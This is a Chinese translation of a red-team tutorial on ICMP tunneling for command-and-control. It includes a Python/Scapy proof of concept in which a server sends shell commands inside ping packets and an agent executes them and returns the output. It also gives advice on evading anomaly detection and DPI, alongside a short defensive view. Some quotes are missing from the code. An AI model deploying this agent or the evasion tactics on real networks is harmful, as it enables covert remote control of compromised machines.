利用ICMP隧道技术实现C2通信

本文为翻译文章,原文链接见文末。(翻译为脉搏首发)

一般来说,攻击者在行动过程中经常需要面对诸多的挑战,例如:

克服网络障碍(网络策略、分段等)。在“隐形模式”下完成各项操作,这样,就不会被逮到了。

应对这些挑战的一个好方法是,当试图创建一个能够跨越网络中各种障碍的隐蔽连接时,使用ICMP隧道技术。

在计算机网络中,隧道技术通常是将一个网络协议封装为另一个网络协议的有效载荷(payload,即传输的数据),详情请参阅这篇文章。

ICMP(Internet Control Message Protocol)是Internet协议簇中的一个支持协议。网络设备可以使用它来发送错误消息和操作信息。其中,最常见的ICMP消息可能也是最常用的消息就是Ping消息。

实际上,Ping是一种控制消息,也是ICMP(Internet Control Message Protocol)协议的一个组成部分。

Ping消息可以从网络中的一个节点发送到另一个节点。该消息是由第2层和第3层报头(由OSI模块定义的MAC和IP报头)以及一个特殊的ICMP数据包构成的。发送节点需要设置目的地参数,如果目的地节点收到该消息,它会立即返回该消息。

下面是ping数据包的IP数据报格式:

ICMP隧道可以通过修改有效载荷数据来实现,这样,它就能在其中存放我们想要发送的数据了。

通常情况下,它会包含默认的有效载荷数据,如ASCII字符串“abcdefghijklmnopqrstuvwabcdefghi”等。

Wireshark——ICMP数据包及有效载荷数据

如果将HTTP数据包封装在有效载荷数据中的话,就是这种方法最常用的一种方式——WiFi蹭网。

此外,这可以通过使用代理服务器来实现,代理服务器会等待ping消息,并根据需要发送它们(例如,作为HTTP)。

借助于正确的工具(如ptunnel),我们可以将要发送到Google的HTTP数据包封装到ping数据包中(即有效载荷数据内)。然后,将其发送到作为目的地的代理服务器IP地址处。

注意:该IP并非HTTP数据包的目的地(HTTP数据包的IP目的地应该是域名对应的IP地址)

由于机场的路由器通常允许ICMP流量流出网络,因此,它会将Ping消息传递给代理服务器。

代理服务器接收Ping数据包后,会将其分成两部分:

ICMP头部。包含原始HTTP消息的有效载荷。

注意:代理发送给Google的HTTP数据包的源IP地址应该是代理服务器本身的IP地址,而不是笔记本电脑的IP地址(或机场的路由器的地址......),因为Google应该回复的对象是代理,而不是您。

这可能是ICMP隧道最常见的用法,但作为一名红队成员,我发现这的确是一种逃避防火墙和其他网络策略的“隐身”方法,所以,它是非常有用的。

上面所说的这一切都是可能的,因为Ping消息可以通过“Pay-for-WiFi”局域网中的路由器进入互联网。

那么,为什么人们会允许这种情况发生呢?

作为一名前网络工程师,我可以告诉大家的是,在尝试理解和解决非常复杂的网络问题时,Ping是不可或缺的。

大多数网络故障排除过程都是从测试信息是否能够从一个节点传送到另一节点开始的,即弄清楚:这条信息路线是否可行?网络组件是否处于可用状态并且能够正常响应?

面对这些问题,Ping消息可以用最简单的方式提供答案,当然,它还能够用来解决许多其他方面的疑问。

实际上,这些故障排除工作几乎每天都会遇到。这就意味着,相关的网络配置必须允许将网络上的Ping消息从一个节点传输到另一个节点。同时,所有防火墙策略、路由器策略和交换机ACL(访问列表)都必须允许ICMP消息从任何网络组件传输到任何其他组件。

这就是为什么Ping消息几乎不会受到网络分段和网络策略方面的影响的原因。

既然如此,在网络中创建连接时,为了克服网络分段和网络策略等障碍,可以让代理使用ICMP隧道来连接C&C服务器——这是一个非常棒的主意。

为此,我用Python编写了一个简单的POC代码,以用来演示其工作机制。

请注意:

-该PoC要求安装Scapy(实际上,Scapy是一个很好的学习工具)

-该PoC没有涉及分段处理。例如,如果来自代理的应答大于允许的有效载荷数据的上限,则会对其进行分段。

该PoC还包含了一个C&C服务器和一个代理。其中,C2服务器将通过ICMP隧道向代理发送指令,代理也将通过ICMP隧道来返回相应的结果。

C2.py

#!/usr/bin/env python3 from scapy.all import * def main(): while True: command = raw_input(# Enter command: ) # build the ICMP packet with the command as the payload pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command send(pinger) # wait for the ICMP message containing the answer from the agent # to be received rx = sniff(count=1, timeout=2) # use this if agent is not on local machine: rx = sniff(filter="icmp", count=1) print(rx[0][Raw].load.decode(utf-8)) if __name__ == "__main__": main()

Agent.py

#!/usr/bin/env python3 import os from scapy.all import * def main(): while True: # wait for the ICMP message containing the command from the C2 server # to be received rx = sniff(filter="icmp", count=1) # strip down the packet to the payload itself var = rx[0][Raw].load.decode(utf-8) # run the command and save the result res = os.popen(var).read() # build the ICMP packet with the result as the payload send(IP(dst="localhost")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res) if __name__ == "__main__": main()

其运行情况如下图所示:

无论如何,使用Wireshark软件来查看具体情况始终是一个不错的主意:

C2:pwd命令

代理:pwd命令的运行结果

如您所见,这里有两条ICMP消息,一条带有命令,一条带有结果。

D.P.O.V(防御视角)

在构建这类工具时,可以站在防御的角度,看看哪些方面是需要注意的,这一点是非常重要的。

最重要的是要记住,网络安全工具并不是以防火墙白名单策略作为其起点和终点的。因为当前大部分防御工具都提供了异常检测功能。

对于异常检测,一种不错的思路是,先通过描述相关主体的共同行为来描述需要引起关注的异常行为。

对于网络中的正常Ping消息,我们可以假设它具有以下特性:

大部分Ping消息都是以默认的方式来发送的,即一次发送4条Ping消息。Ping请求消息的类型为8(表示回显Ping请求),而Ping应答消息的类型为0(表示回显Ping应答)。对于某些字段来说,是所有Ping数据包都会发送的(使用Windows8.1时):id = 0x0001响应消息的seq等于请求消息的seq有效载荷数据会保持其默认大小(32字节)及其内容-“abcdefghijklmnopqrstuvwabcdefghi”不变

知道上述特征后,必须考虑到:

构建C&C和代理的方式是,(例如)每1分钟发送一批的Ping消息不得超过4条。如果需要传输的数据需要使用15条Ping消息进行传输,则至少需要3分钟才能传输完毕。当然,这个速度的确有点慢,但是,一旦超出这个发送频率,就可能引起防御设备或防御人员的关注——所以,牺牲一些速度还是非常值得的。确保Ping请求和响应的行为在逻辑上是正确的。例如,如果您发送的每个Ping消息的类型都是0,那么,在没有Ping请求的情况下看到大量的Ping响应消息就显得很奇怪了。尽量和周围的环境保持协调一致,为此,需要做好相应的调查工作。当然,也可以保持这些字段的可配置性,以便根据具体情况对其进行相应的修改。请注意,有效载荷数据的尺寸将影响第一部分(每个数据单位对应的Ping消息的数量),它是一个元数据信息。有效载荷数据的内容——让我们来看看DPI…

DPI——深度包检测技术

传统的数据包检测技术只会读取数据包的元数据(主要是头部数据),而深度包检测技术则会实时读取数据包的内容。一般来说,该技术会检测有效载荷数据,并试图了解这些数据的正确性。

就本文来说,DPI工具可以使用其协议的异常检测功能,通过检查有效载荷数据来查找ICMP隧道,并确定其适当性。

就这里来说,它并没有帮助我们修改所有其他参数。

那么,我们为什么还要费心思来鼓捣ICMP隧道呢?

原因如下所示:

DPI并不是一种非常常见的功能,也就是说,我们在许多网络中并不会遇到它。大多数DPI工具依赖于签名数据库——如果没有与ICMP消息相关的签名,它就无法检测ICMP隧道。即使数据库中存在相关签名,它能发挥作用的前提是——运维人员已经将其配置为处于激活模式。

那么,既然有了该功能,为什么有些人不启用它呢?

每次进行签名检查,都会占用一定的处理资源(主要是CPU和时间),因此,这就会降低网络的速度。网络检查的对象还可以包括具有不同有效载荷尺寸的各种类型的Ping消息(例如,ping -l 1234 8.8.8.8将发送有效载荷数据长度为1234[字节]的Ping消息),以排除涉及MTU功能的安全问题。当然,激活这种签名会产生大量的假阳性警报,这会让监视器团队不胜其烦,从而降低该签名的可靠性。

sum += 1337

ICMP隧道是一种实现“隐蔽”通信的绝佳工具。虽然有时它会不太有效,但这主要取决于网络上现有的防御措施,不过,在很多情况下,它仍不失为是一种克服某些安全限制的简便方法。

最重要的是,ICMP隧道本身就是一个非常值得了解的概念。如果你掌握了其中的窍门,就可以根据自身的需求开发出各种不同的解决方案,比如DNS隧道、SSH隧道,等等。

原文地址:

作者:mssp299

欢迎来安全脉搏查看更多的干货文章和我们一起交流互动哦!

脉搏地址:安全脉搏 | 分享技术,悦享品质

微博地址:Sina Visitor System

【注:安全脉搏所有文章未经许可,谢绝转载】